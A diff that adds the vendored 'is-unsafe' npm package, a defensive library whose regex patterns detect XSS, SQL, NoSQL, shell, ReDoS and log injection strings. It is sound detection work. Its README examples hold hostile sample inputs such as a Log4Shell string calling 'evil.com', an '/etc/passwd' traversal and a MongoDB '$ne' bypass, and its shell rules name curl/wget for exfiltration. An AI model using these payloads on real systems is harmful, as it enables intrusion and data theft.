import { isUnsafe, HTML, XML } from 'is-unsafe';
onInputEntity: (name, value) =>
isUnsafe(value, [HTML, XML]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
```
Bundle cost: only `html.js` + `xml.js` (~5.8 KB).
### Logging with `whyUnsafe`
```js
import { isUnsafe, whyUnsafe, HTML, SQL } from 'is-unsafe';
function safeInsert(value, context) {
if (isUnsafe(value, context)) {
const reason = whyUnsafe(value, context);
logger.warn('Blocked unsafe value', { ruleId: reason.id, context: reason.context });
throw new Error(`Unsafe value rejected (${reason.id})`);
}
return value;
}
```
### Auditing with `allUnsafe`
```js
import { allUnsafe, HTML, SQL, SHELL } from 'is-unsafe';
const findings = allUnsafe(userInput, [HTML, SQL, SHELL]);
if (findings.length > 0) {
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
}
```
### SQL vs SQL_STRICT — choosing the right tier
```js
import { isUnsafe, SQL, SQL_STRICT } from 'is-unsafe';
// General text field (name, description, comment) — use SQL
function validateUserBio(bio) {
if (isUnsafe(bio, SQL)) throw new Error('Invalid content');
return bio;
}
// Dedicated SQL identifier input (table name picker, column filter) — use SQL_STRICT
function validateTableName(name) {
if (isUnsafe(name, SQL_STRICT)) throw new Error('Invalid identifier');
return name;
}
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
validateTableName("users -- comment"); // blocked by SQL_STRICT
```
### File upload path guard
```js
import { isUnsafe, SHELL } from 'is-unsafe';
function validateUploadPath(filename) {
if (isUnsafe(filename, SHELL)) throw new Error('Invalid filename');
return filename;
}
validateUploadPath('document.pdf'); // OK
validateUploadPath('../../../etc/passwd'); // throws
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
```
### User-supplied regex guard
```js
import { isUnsafe, whyUnsafe, REDOS } from 'is-unsafe';
function compileUserRegex(pattern) {
if (isUnsafe(pattern, REDOS)) {
const detail = whyUnsafe(pattern, REDOS);
throw new Error(`ReDoS risk in pattern (${detail.id})`);
}
return new RegExp(pattern);
}
compileUserRegex('^[a-z]+$'); // OK
compileUserRegex('(a+)+'); // throws — nested quantifier
```
### MongoDB input guard
```js
import { isUnsafe, NOSQL } from 'is-unsafe';
function safeMongoValue(value) {
if (isUnsafe(value, NOSQL)) throw new Error('Unsafe MongoDB value');
return value;
}
safeMongoValue('alice'); // OK
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
safeMongoValue('__proto__'); // throws — prototype pollution
```
### Log field guard
```js
import { isUnsafe, LOG } from 'is-unsafe';
function safeLogField(value) {
if (isUnsafe(value, LOG)) throw new Error('Unsafe log value');
return value;
}
safeLogField('alice'); // OK
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
safeLogField("value\nfake log entry"); // throws — CRLF injection
```
### Checking all contexts (tooling / security scanners)
```js
import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe';
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
if (isUnsafe(value, ctx)) {
console.log(`Unsafe in ${name}`);
}
}
```
> Note: this import brings in all 9 context modules. Fine for CLI tools and scanners; use individual named imports in application bundles.
---
## Design principles
| Principle | Detail |
|-----------|--------|
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
| **Tree-shakeable** | Each context is an independent named export. Unused contexts are dropped by bundlers. |
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
| **Extensible** | Custom `PatternList` arrays work alongside built-in contexts. Set `.label` on your list to get meaningful context names in `MatchResult`. |
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
---
## What `is-unsafe` is NOT
- **Not a sanitizer** — it does not modify strings
- **Not a middleware** — no Express/Koa coupling
- **Not a firewall** — it does not block requests
- **Not a complete security solution** — one layer of defence-in-depth
---
## Comparison with existing packages
| Package | Problem |
|---------|---------|
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Tree-shakeable. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
---
## Running tests
```sh
npm install
npm test
```
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
---
## License
MIT

56
node_modules/is-unsafe/package.json generated vendored Normal file
View File

@@ -0,0 +1,56 @@
{
"name": "is-unsafe",
"version": "2.0.3",
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
"type": "module",
"main": "./src/index.js",
"module": "./src/index.js",
"exports": {
".": {
"import": "./src/index.js",
"require": "./src/index.cjs"
}
},
"types": "./src/index.d.ts",
"sideEffects": false,
"scripts": {
"test": "jasmine **/*.spec.js",
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
},
"keywords": [
"xss",
"sql-injection",
"security",
"safe",
"predicate",
"sanitizer",
"xml",
"svg",
"html",
"shell-injection",
"redos",
"unsafe",
"validator",
"log",
"nosql"
],
"repository": {
"type": "git",
"url": "https://github.com/NaturalIntelligence/is-unsafe"
},
"author": "Amit Gupta (https://solothought.com/)",
"license": "MIT",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"devDependencies": {
"jasmine": "^6.3.0"
},
"files": [
"src/",
"README.md"
]
}

102
node_modules/is-unsafe/src/contexts/html.js generated vendored Normal file
View File

@@ -0,0 +1,102 @@
/**
* HTML context patterns.
*
* Detects XSS vectors that are dangerous when a string ends up rendered as HTML.
* All patterns use bounded quantifiers to ensure linear-time matching (ReDoS-safe).
*
* Each entry is { pattern: RegExp, id: string, description: string }
* so callers can inspect which rule fired if they need to.
*/
const HTML_PATTERNS = [
{
id: 'html-script-open',
description: '<script opening tag',
pattern: /<script[\s>/]/i,
},
{
id: 'html-script-close',
description: '</script closing tag',
pattern: /<\/script[\s>]/i,
},
{
id: 'html-javascript-protocol',
description: 'javascript: URI scheme (with optional whitespace/encoding)',
// Handles j&#x61;vascript:, j\u0061vascript:, and whitespace variants
pattern: /j[\t\n\r ]*a[\t\n\r ]*v[\t\n\r ]*a[\t\n\r ]*s[\t\n\r ]*c[\t\n\r ]*r[\t\n\r ]*i[\t\n\r ]*p[\t\n\r ]*t[\t\n\r ]*:/i,
},
{
id: 'html-vbscript-protocol',
description: 'vbscript: URI scheme',
pattern: /vbscript[\t\n\r ]*:/i,
},
{
id: 'html-data-html',
description: 'data:text/html URI — can execute scripts in browsers',
pattern: /data[\t\n\r ]*:[\t\n\r ]*text\/html/i,
},
{
id: 'html-data-xhtml',
description: 'data:application/xhtml+xml URI',
pattern: /data[\t\n\r ]*:[\t\n\r ]*application\/xhtml/i,
},
{
id: 'html-data-svg',
description: 'data:image/svg+xml URI — can execute scripts',
pattern: /data[\t\n\r ]*:[\t\n\r ]*image\/svg\+xml/i,
},
{
id: 'html-inline-event-handler',
description: 'Inline event handler attributes: onclick=, onerror=, onload=, etc.',
// \bon ensures we match a word boundary so "phonetic=" is not caught
pattern: /\bon\w{1,30}\s*=/i,
},
{
id: 'html-entity-obfuscated-script',
description: 'HTML-entity-encoded <script (e.g. &#x3C;script or &lt;script)',
// Entities include optional trailing semicolon: &#x3C; or &#x3C (both valid in HTML5)
pattern: /(?:&#x0*3[Cc];?|&#0*60;?|&lt;)\s*script/i,
},
{
id: 'html-entity-obfuscated-javascript',
description: 'HTML-entity-encoded javascript: (partial — catches common &#106; or &#x6a; for "j")',
pattern: /(?:&#x0*6[Aa];?|&#0*106;?)\s*(?:&#x0*61;?|a)[\s\S]{0,80}script\s*:/i,
},
{
id: 'html-style-expression',
description: 'CSS expression() — IE-era code execution in style attributes',
pattern: /style[\s\S]{0,20}expression\s*\(/i,
},
{
id: 'html-object-embed',
description: '<object or <embed tags that can load active content',
pattern: /<(?:object|embed)[\s>/]/i,
},
{
id: 'html-base-tag',
description: '<base href= — can hijack all relative URLs on a page',
pattern: /<base[\s>]/i,
},
{
id: 'html-meta-refresh',
description: '<meta http-equiv="refresh" — can redirect users',
pattern: /<meta[\s\S]{0,40}http-equiv[\s\S]{0,20}refresh/i,
},
{
id: 'html-srcdoc',
description: 'srcdoc= attribute on iframes — embeds HTML that can run scripts',
pattern: /srcdoc\s*=/i,
},
{
id: 'html-iframe',
description: '<iframe tag',
pattern: /<iframe[\s>/]/i,
},
{
id: 'html-form',
description: '<form tag — can be used for phishing / credential harvesting injection',
pattern: /<form[\s>/]/i,
},
];
export default HTML_PATTERNS;

98
node_modules/is-unsafe/src/contexts/log.js generated vendored Normal file
View File

@@ -0,0 +1,98 @@
/**
* LOG context patterns.
*
* Detects injection vectors that are dangerous when a string is written
* to a log file, passed to a logging framework, or interpolated into
* a log message that will be parsed or displayed.
*
* Attack categories:
* 1. CRLF injection — injects fake log lines by embedding newlines
* 2. Log4Shell (CVE-2021-44228) — ${jndi:...} triggers JNDI lookup in Log4j
* 3. SSTI in log templates — {{...}}, #{...} trigger template evaluation
* if the log message is passed through a template engine
* 4. Null byte injection — truncates log entries in some implementations
* 5. ANSI escape injection — manipulates terminal output when logs are
* tailed in a terminal (colour codes, cursor movement, etc.)
*
* Note: Newline characters (\n, \r) will produce false positives for
* multi-line legitimate values. Use this context only for single-line
* log field values (usernames, IDs, request parameters, etc.).
*/
const LOG_PATTERNS = [
// ─── CRLF / newline injection ─────────────────────────────────────────────
{
id: 'log-crlf-injection',
description: 'CRLF injection: literal \\r or \\n embeds fake log lines',
pattern: /[\r\n]/,
},
{
id: 'log-url-encoded-crlf',
description: 'URL-encoded CRLF: %0d, %0a, %0D, %0A — decoded by some log parsers',
pattern: /%0[dDaA]/,
},
{
id: 'log-unicode-newline',
description: 'Unicode newline variants: U+2028 (line separator), U+2029 (paragraph separator)',
pattern: /[\u2028\u2029]/,
},
// ─── Log4Shell / JNDI injection (CVE-2021-44228) ─────────────────────────
{
id: 'log-log4shell-jndi',
description: 'Log4Shell: ${jndi:...} triggers remote code execution in Apache Log4j',
pattern: /\$\{jndi\s*:/i,
},
{
id: 'log-log4shell-obfuscated',
description: 'Obfuscated Log4Shell: ${::-j}... lookup-bypass prefix used to evade WAF detection',
// ${::- is the Log4j lookup-bypass escape sequence; presence alone is suspicious
pattern: /\$\{::-/,
},
{
id: 'log-log4j-lookup',
description: 'Log4j lookup syntax: ${env:...}, ${sys:...}, ${ctx:...} — data exfiltration',
pattern: /\$\{(?:env|sys|ctx|main|map|sd|web|docker|k8s|spring)\s*:/i,
},
// ─── Server-Side Template Injection (SSTI) in log messages ───────────────
{
id: 'log-ssti-double-brace',
description: 'SSTI double-brace: {{expression}} — Jinja2, Twig, Handlebars, etc.',
pattern: /\{\{[\s\S]{0,80}\}\}/,
},
{
id: 'log-ssti-hash-brace',
description: 'SSTI hash-brace: #{expression} — Thymeleaf, Velocity, Ruby ERB',
pattern: /#\{[\s\S]{0,80}\}/,
},
{
id: 'log-ssti-dollar-brace',
description: 'SSTI/EL injection: ${expression with operators or method calls} — JSP EL, Freemarker, SpEL',
// Require that the ${...} content looks like an expression, not a plain variable name.
// Flags if the content contains: . ( * + operators, or known SSTI keywords.
// This avoids flagging ${PATH}, ${HOME} etc. (plain shell variables).
pattern: /\$\{[^}]*(?:\.|\(|\*|\+|\bclass\b|\bruntime\b|\bprocess\b|\bexec\b)[^}]{0,80}\}/i,
},
{
id: 'log-ssti-percent-tag',
description: 'SSTI ERB/ASP tag: <%= expression %> — Ruby ERB, ASP',
pattern: /<%=[\s\S]{0,80}%>/,
},
// ─── Null byte ────────────────────────────────────────────────────────────
{
id: 'log-null-byte',
description: 'Null byte: \\x00 or %00 — can truncate log entries in C-backed loggers',
pattern: /\x00|%00/,
},
// ─── ANSI escape injection ────────────────────────────────────────────────
{
id: 'log-ansi-escape',
description: 'ANSI escape sequence: ESC[ — can manipulate terminal output when logs are tailed',
pattern: /\x1b\[/,
},
];
export default LOG_PATTERNS;

114
node_modules/is-unsafe/src/contexts/nosql.js generated vendored Normal file
View File

@@ -0,0 +1,114 @@
/**
* NOSQL context patterns.
*
* Detects injection vectors specific to NoSQL databases (primarily MongoDB)
* and JavaScript-evaluated queries.
*
* Attack categories:
* 1. MongoDB query operator injection: $where, $ne, $gt, $regex, $or, $and, etc.
* These operators, when injected into a JSON query object, can bypass
* authentication or exfiltrate data without knowing passwords.
*
* 2. JavaScript execution: $where clauses execute arbitrary JS server-side.
*
* 3. Prototype pollution: __proto__, constructor.prototype — can corrupt
* the prototype chain of all objects in the Node.js process.
*
* Pattern note: MongoDB operators appear as JSON keys. In JSON, keys are
* quoted: {"$where": ...} so the pattern must allow an optional closing
* quote between the operator name and the colon: /\$where["'\s]*:/
*/
// Shared suffix: optional closing quote/whitespace before the colon
// Handles: $op: (bare), "$op": (JSON), '$op': (single-quoted)
const SEP = /["'\s]*:/;
const sep = '["\'\\s]*:';
const NOSQL_PATTERNS = [
// ─── MongoDB $ operator injection ────────────────────────────────────────
{
id: 'nosql-where-operator',
description: '$where — executes arbitrary JavaScript server-side in MongoDB',
pattern: new RegExp(`\\$where${sep}`, 'i'),
},
{
id: 'nosql-ne-operator',
description: '$ne — "not equal" operator used to bypass equality checks',
pattern: new RegExp(`\\$ne${sep}`, 'i'),
},
{
id: 'nosql-gt-operator',
description: '$gt — "greater than" used to bypass password/value checks',
pattern: new RegExp(`\\$gte?${sep}`, 'i'),
},
{
id: 'nosql-lt-operator',
description: '$lt / $lte — "less than" bypass variants',
pattern: new RegExp(`\\$lte?${sep}`, 'i'),
},
{
id: 'nosql-regex-operator',
description: '$regex — can be used to extract data character by character (blind injection)',
pattern: new RegExp(`\\$regex${sep}`, 'i'),
},
{
id: 'nosql-or-operator',
description: '$or — logical OR; used to create always-true conditions',
pattern: new RegExp(`\\$or${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-and-operator',
description: '$and — logical AND operator injection',
pattern: new RegExp(`\\$and${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-nor-operator',
description: '$nor — logical NOR operator injection',
pattern: new RegExp(`\\$nor${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-exists-operator',
description: '$exists — can enumerate fields to determine schema',
pattern: new RegExp(`\\$exists${sep}`, 'i'),
},
{
id: 'nosql-in-operator',
description: '$in — matches any value in a list; can enumerate values',
pattern: new RegExp(`\\$in${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-expr-operator',
description: '$expr — allows aggregation expressions in queries (MongoDB 3.6+)',
pattern: new RegExp(`\\$expr${sep}`, 'i'),
},
{
id: 'nosql-function-operator',
description: '$function — executes arbitrary JavaScript in MongoDB 4.4+',
pattern: new RegExp(`\\$function${sep}`, 'i'),
},
{
id: 'nosql-accumulator-operator',
description: '$accumulator — custom aggregation with arbitrary JS execution',
pattern: new RegExp(`\\$accumulator${sep}`, 'i'),
},
// ─── Prototype pollution ─────────────────────────────────────────────────
{
id: 'nosql-proto-pollution',
description: '__proto__ — prototype pollution via object key injection',
pattern: /__proto__/,
},
{
id: 'nosql-constructor-prototype',
description: 'constructor.prototype — alternative prototype pollution vector (dot notation or JSON key)',
// Matches dot-notation (obj.constructor.prototype) and JSON key adjacency
// ("constructor": {"prototype": ...})
pattern: /constructor[\s"':.,{\[]*prototype/i,
},
{
id: 'nosql-proto-bracket',
description: '["__proto__"] — bracket-notation prototype pollution',
pattern: /\[["']__proto__["']\]/,
},
];
export default NOSQL_PATTERNS;

60
node_modules/is-unsafe/src/contexts/redos.js generated vendored Normal file
View File

@@ -0,0 +1,60 @@
/**
* REDOS context patterns.
*
* Detects strings that, if used as regular expressions, could cause
* catastrophic backtracking (ReDoS — Regular Expression Denial of Service).
*
* These patterns detect the structural forms that lead to exponential or
* polynomial backtracking in NFA-based regex engines (V8, PCRE, Java, etc.).
*
* Use this context when user-supplied strings will be compiled into RegExp objects.
*/
const REDOS_PATTERNS = [
{
id: 'redos-nested-quantifier-plus',
description: 'Nested + quantifier inside a group with outer quantifier: (a+)+, (.+b)*, etc.',
// Matches any group containing a + quantifier, with an outer * or + — catches (a+)+, (.+b)*, etc.
pattern: /\([^)]*\+[^)]*\)[+*]/,
},
{
id: 'redos-nested-quantifier-star',
description: 'Nested * quantifier: (a*)* or (a*)+ — catastrophic backtracking',
pattern: /\([^)]*\*[^)]*\)[*+]/,
},
{
id: 'redos-nested-groups',
description: 'Doubly nested quantified groups: ((a+)+) — guaranteed catastrophic',
pattern: /\(\([^)]{0,40}\)[+*]\)[+*]/,
},
{
id: 'redos-alternation-overlap',
description: 'Overlapping alternation under quantifier: (a|a)+ — ambiguous NFA paths',
// Detect repeated identical alternatives under a quantifier
pattern: /\(([^|()]{1,20})\|(?:\1)(?:\|[^|()]{1,20}){0,5}\)[+*?]{1,2}/,
},
{
id: 'redos-star-plus-concat',
description: '(x*x)+ pattern — triggers super-linear backtracking',
pattern: /\([^)]{0,10}\*[^)]{0,10}\)[+*]/,
},
{
id: 'redos-dot-star-greedy',
description: '(.*){n,} or (.+){n,} — repeated greedy dot quantifiers',
pattern: /\(\.[*+]\)\{?\d/,
},
{
id: 'redos-large-repetition',
description: 'Very large fixed or range repetition count {1000,} or {1000,n} — denial of service via backtracking',
// Matches { followed by 4+ digits (≥1000), then optional ,digits }
pattern: /\{\d{4,}(?:,\d*)?\}/,
},
{
id: 'redos-catastrophic-alternation',
description: 'Long alternation with many similar branches — polynomial backtracking risk',
// Heuristic: 10+ pipe-separated alternatives in a single group
pattern: /\([^)]{0,200}(?:\|[^|)]{0,50}){9,}\)/,
},
];
export default REDOS_PATTERNS;

105
node_modules/is-unsafe/src/contexts/shell.js generated vendored Normal file
View File

@@ -0,0 +1,105 @@
/**
* SHELL context patterns.
*
* Detects shell injection vectors and path traversal patterns.
* Designed for use when a string will be passed to a shell command,
* used as a file path, or interpolated into OS-level operations.
*/
const SHELL_PATTERNS = [
{
id: 'shell-path-traversal-unix',
description: 'Unix path traversal: ../ — climbing the directory tree',
pattern: /\.\.\//,
},
{
id: 'shell-path-traversal-windows',
description: 'Windows path traversal: ..\\ — climbing the directory tree',
pattern: /\.\.\\/,
},
{
id: 'shell-path-traversal-encoded',
description: 'URL-encoded path traversal: %2e%2e or %2f variants',
pattern: /%2e%2e|%2f\.\.|\.\.%2f/i,
},
{
id: 'shell-null-byte',
description: 'Null byte injection: \\x00 or %00 — truncates strings in C-backed functions',
pattern: /\x00|%00/,
},
{
id: 'shell-semicolon',
description: 'Semicolon command separator: cmd1; cmd2',
pattern: /;/,
},
{
id: 'shell-pipe',
description: 'Pipe operator: cmd1 | cmd2',
pattern: /\|/,
},
{
id: 'shell-and-operator',
description: 'AND operator: cmd1 && cmd2',
pattern: /&&/,
},
{
id: 'shell-or-operator',
description: 'OR operator: cmd1 || cmd2',
pattern: /\|\|/,
},
{
id: 'shell-backtick',
description: 'Backtick command substitution: `cmd`',
pattern: /`/,
},
{
id: 'shell-dollar-paren',
description: 'Dollar-paren command substitution: $(cmd)',
pattern: /\$\(/,
},
{
id: 'shell-dollar-brace',
description: 'Dollar-brace variable expansion: ${var} — can be abused for injection',
pattern: /\$\{/,
},
{
id: 'shell-redirect-out',
description: 'Output redirection: cmd > file or cmd >> file',
pattern: />{1,2}/,
},
{
id: 'shell-redirect-in',
description: 'Input redirection: cmd < file',
pattern: /</,
},
{
id: 'shell-newline-injection',
description: 'Newline injection: \\n or \\r — can inject new shell commands',
pattern: /[\n\r]/,
},
{
id: 'shell-glob-star',
description: 'Glob expansion: * or ? — can expand to unintended files',
// Only flag when combined with path separators to reduce false positives
pattern: /[/\\][*?]/,
},
{
id: 'shell-absolute-root',
description: 'Absolute root path injection: string starting with / or \\ (Windows UNC)',
pattern: /^(?:\/|\\\\)/,
},
{
id: 'shell-windows-drive',
description: 'Windows drive letter path injection: C:\\ or D:/',
pattern: /^[a-zA-Z]:[/\\]/,
},
{
id: 'shell-curl-wget',
description: 'curl/wget with URL or flags — can exfiltrate data or download payloads',
// Require a URL scheme (http/https/ftp) or a flag (-) to reduce false positives
// "curl is a tool" won't match; "curl http://..." or "curl -s ..." will
pattern: /\b(?:curl|wget)\s+(?:https?:\/\/|ftp:\/\/|-)/i,
},
];
export default SHELL_PATTERNS;

47
node_modules/is-unsafe/src/contexts/sql-strict.js generated vendored Normal file
View File

@@ -0,0 +1,47 @@
/**
* SQL-STRICT context patterns.
*
* Extends the base 'SQL' context with three additional rules that are
* effective at detecting real injections but carry a higher false-positive
* risk on general free-text input.
*
* Use 'SQL-STRICT' when:
* - The string is specifically a SQL fragment or database identifier
* - You control the input domain (e.g. a dedicated SQL search field)
* - You can tolerate occasional false positives in exchange for broader coverage
*
* Use 'SQL' (not STRICT) when:
* - The field is general user text (names, descriptions, comments)
* - False positives would block legitimate content (e.g. "see note -- above")
*
* Rules moved here from 'SQL' due to false-positive risk:
*
* sql-line-comment — "--" fires on "see note -- above", "value--", CSS var(--primary)
* sql-stacked-query — "; SELECT" fires on legitimate prose with semicolons + SQL words
* sql-hex-encoding — "0xDEAD" fires on hex values in technical docs and log output
*/
import SQL_PATTERNS from './sql.js';
const SQL_STRICT_EXTRA = [
{
id: 'sql-line-comment',
description: 'SQL line comment: -- followed by whitespace or end of string',
pattern: /--(?:\s|$)/,
},
{
id: 'sql-stacked-query',
description: 'Stacked queries: semicolon immediately followed by a SQL keyword',
pattern: /;\s{0,10}(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC)\b/i,
},
{
id: 'sql-hex-encoding',
description: 'Hex-encoded string injection: 0x41414141 style (MySQL)',
pattern: /\b0x[0-9a-f]{4,}/i,
},
];
// SQL-STRICT = all base SQL rules + the three noisy extras
const SQL_STRICT_PATTERNS = [...SQL_PATTERNS, ...SQL_STRICT_EXTRA];
export default SQL_STRICT_PATTERNS;

95
node_modules/is-unsafe/src/contexts/sql.js generated vendored Normal file
View File

@@ -0,0 +1,95 @@
/**
* SQL context patterns — high-precision rules only.
*
* These rules have very low false-positive risk and are safe to apply to
* general user text (names, descriptions, search queries, etc.).
* All patterns are ReDoS-safe — unlike the `sql-injection` npm package
* which has an active CVE on its own detection regexes.
*
* For exhaustive coverage including noisier heuristics (comment sequences,
* hex literals, stacked queries with semicolons), use 'SQL-STRICT' instead.
* Apply 'SQL-STRICT' only to strings that are specifically SQL fragments,
* not to general free-text fields.
*/
const SQL_PATTERNS = [
{
id: 'sql-block-comment-open',
description: 'SQL block comment open: /* ... */ — unusual in legitimate user text',
pattern: /\/\*/,
},
{
id: 'sql-union-select',
description: 'UNION SELECT — most common SQL injection aggregation attack',
pattern: /\bUNION\s{1,20}(?:ALL\s{1,20})?SELECT\b/i,
},
{
id: 'sql-drop-table',
description: 'DROP TABLE — destructive DDL injection',
pattern: /\bDROP\s{1,20}TABLE\b/i,
},
{
id: 'sql-drop-database',
description: 'DROP DATABASE — destructive DDL injection',
pattern: /\bDROP\s{1,20}DATABASE\b/i,
},
{
id: 'sql-insert-into',
description: 'INSERT INTO — data injection',
pattern: /\bINSERT\s{1,20}INTO\b/i,
},
{
id: 'sql-delete-from',
description: 'DELETE FROM — data deletion injection',
pattern: /\bDELETE\s{1,20}FROM\b/i,
},
{
id: 'sql-update-set',
description: 'UPDATE ... SET — data modification injection',
// Allows arbitrary content between UPDATE and SET (table name, alias, etc.)
pattern: /\bUPDATE\b[\s\S]{1,60}\bSET\b/i,
},
{
id: 'sql-exec-xp',
description: 'EXEC xp_ — MSSQL extended stored procedure execution',
pattern: /\bEXEC(?:UTE)?\s{1,20}xp_/i,
},
{
id: 'sql-tautology-string',
description: "Classic string tautology: ' OR '1'='1 or \" OR \"1\"=\"1\"",
// Last quote is optional — injection may truncate it: ' OR '1'='1--
pattern: /'\s{0,10}OR\s{0,10}'[^']{0,20}'\s*=\s*'[^']{0,20}/i,
},
{
id: 'sql-tautology-numeric',
description: 'Numeric tautology: OR 1=1',
pattern: /\bOR\s{1,10}1\s*=\s*1\b/i,
},
{
id: 'sql-always-true-zero',
description: 'Numeric tautology: OR 0=0',
pattern: /\bOR\s{1,10}0\s*=\s*0\b/i,
},
{
id: 'sql-sleep-benchmark',
description: 'Time-based blind injection: SLEEP() or BENCHMARK()',
pattern: /\b(?:SLEEP|BENCHMARK)\s*\(/i,
},
{
id: 'sql-waitfor-delay',
description: 'MSSQL time-based blind injection: WAITFOR DELAY',
pattern: /\bWAITFOR\s{1,20}DELAY\b/i,
},
{
id: 'sql-char-function',
description: 'CHAR() function — used to obfuscate injected strings',
pattern: /\bCHAR\s*\(\s*\d{1,3}/i,
},
{
id: 'sql-information-schema',
description: 'INFORMATION_SCHEMA — reconnaissance query for table/column enumeration',
pattern: /\bINFORMATION_SCHEMA\b/i,
},
];
export default SQL_PATTERNS;

Some files were not shown because too many files have changed in this diff Show More